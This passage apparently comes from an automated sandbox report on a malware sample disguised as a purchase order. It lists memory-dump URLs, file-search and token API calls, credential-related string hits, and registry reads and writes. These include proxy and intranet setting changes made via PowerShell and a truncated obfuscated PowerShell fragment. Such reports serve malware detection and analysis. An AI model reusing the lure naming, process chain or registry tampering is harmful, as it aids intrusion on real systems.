"00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://www.kiops/crlt'0*-os*or-obw" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.mij20233ovkawashington1redmond1microsoft" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microime-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ektlp0xr!s4zs9_>kbz)qs[\lambda_methods+" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreporttlunregisterfeatureconfigurationchangenotificationindows" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4z-g" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://www.kiops/crlt'0*-os*or-obw" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.mij20233ovkawashington1redmond1microsoft" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microime-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ektlp0xr!s4zs9_>kbz)qs[\lambda_methods+" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005088.00000001.293020.D7B20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookh" - Source: "00000000-00005088.00000001.293020.D7B20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005088.00000001.293020.D7B20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00005088.00000001.293020.D7B20000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.tk" - Source: "00000000-00005088.00000001.293020.D98A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005088.00000001.293020.D98A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005088.00000001.293020.D98A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005088.00000001.293020.D98A0000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00005088.00000001.293020.D98A0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl00a0!ic" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.comgdnondnjfg=kt2lfc3xlfcazivtj5cvvfuisxjkaqwcxusmegreweobdwxutcngapndmrjkbplvum8kk8upkhdgiigkdjggn=0x223a-0x261f;$dmwc1od74=@();foreach($c" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found URL "http://www.microsoft.com832077,8t05500520320,cedd1,0,84,0cd5782euse" - Source: "00000000-00005088.00000001.293020.F2C46000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005088.00000001.293020.F2C46000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005088.00000001.293020.F2C46000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005088.00000001.293020.F2C46000.00000004.mdmp")4b:T9b1,"HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\GeneratedExe\* (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00007312) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005088)4c:T564,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000864.00000001.295166.3C0C0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000864.00000001.295166.3C170000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FD246000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00000864.00000002.296961.3C110000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00000864.00000002.296961.3C110000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000864.00000002.296961.3C1B0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00000864.00000002.296961.3C1B0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000864.00000002.296961.3C1B0000.00000004.mdmp")4d:T1110,Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00007312-00000BC0-3468322145") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00003572-00000BC0-3468477054") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00003572-00000BC0-3471839337") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" (Indicator: "\Device\"; Source: "00000000-00000864-00000BC0-3496451489") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000000.293247.FAF30000.00000004.mdmp, 00000000-00000864.00000000.293247.FB030000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAF30000.00000004.mdmp, 00000000-00000864.00000001.295166.FB030000.00000004.mdmp, 00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp, 00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp, 00000000-00000864.00000002.296961.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAF30000.00000004.mdmp, 00000000-00000864.00000002.296961.FB030000.00000004.mdmp, 00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000000.293247.FAF30000.00000004.mdmp, 00000000-00000864.00000000.293247.FB030000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAF30000.00000004.mdmp, 00000000-00000864.00000001.295166.FB030000.00000004.mdmp, 00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp, 00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp, 00000000-00000864.00000002.296961.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAF30000.00000004.mdmp, 00000000-00000864.00000002.296961.FB030000.00000004.mdmp, 00000000-00000864.00000002.296961.FCAE0000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAD90000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000000.292569.D7D30000.00000004.mdmp, 00000000-00005088.00000000.292569.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7D30000.00000004.mdmp, 00000000-00005088.00000001.293020.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.D98A0000.00000004.mdmp, 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp, 00000000-00005088.00000001.293020.F2BC2000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000000.292569.D7D30000.00000004.mdmp, 00000000-00005088.00000000.292569.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7D30000.00000004.mdmp, 00000000-00005088.00000001.293020.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.D98A0000.00000004.mdmp, 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp, 00000000-00005088.00000001.293020.F2BC2000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp")4e:T6aa,Found reference to API "MpDefenderIsPrintAccessCheckNeeded" (Indicator: "AccessCheck"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "MpDefenderPrintAccessCheck" (Indicator: "AccessCheck"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp")4f:Td6a,"HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CSC.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "")50:T1668,"HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A77D2E9EE813DD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "BB06000000000000040004000102090000000000190000000D787900010000001C390B01010000002FD60F02010000006B507E0018000000795344020500000087DE83005E000000A19F5E0001000000F062570201000000FED37A0004000100000058000000276B69013200000056737D00090000006B507E0009000000E6C5310002000400000001000000C49B7B0201000000EFBA8302020065000000FE130000E6C531000F000000F0E0B60001006800000001000000BC6EB40000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\SOFTWARE\MICROSOFT\TIP\AGGREGATERESULTS"; Key: "DATA"; Value: "D9A7A80101000300EC03F46F000000002D0000000000000049A8A801010103005C4614A6000000000F00000000000000D1A8A8010101030064B65611000000009E00000000000000D1A8A80101000400FB3B54EB000000003C00000000000000C25CAB0101000200FECB062F00000000010000001D0E000023ACAD0102010400546DD0B4000000000100000053000000AFFBB9010100008055161AFB0000000001000000743700002B7ABA010201070017EB54670000000002000000050000004428C30101000080469996A2000000002D000000FA0900004428C30103000040EFD5A1DB0000000002000000260000004428C30104000100541F4AF40000000010000000000000006597C90101020080EB47F5D00000000001000000480000009F49DD010100008045734BE10000000005000000000000004959DD0101000400F34A296B00000000020000001D0600006A44DF010100008054528C5D0000000001000000D20000009178E10101000080DF19D73200000000010000000100000081F7E10104000100C177129C00000000680000003B00000081F7E101047F02002AF214C2000000000C000000E7000000EC9BE501010000806E4C67B60000000001000000010000000C84EA010101010077F457460000000001000000120000008C5FF20101000400EA4046AF0000000003000000820000003D4A060201000080C39240F0000000000100000014000000564A0602017F0080784A674B000000000100000042000000BFDE08020100008065B49D6B0000000009000000AA0000005F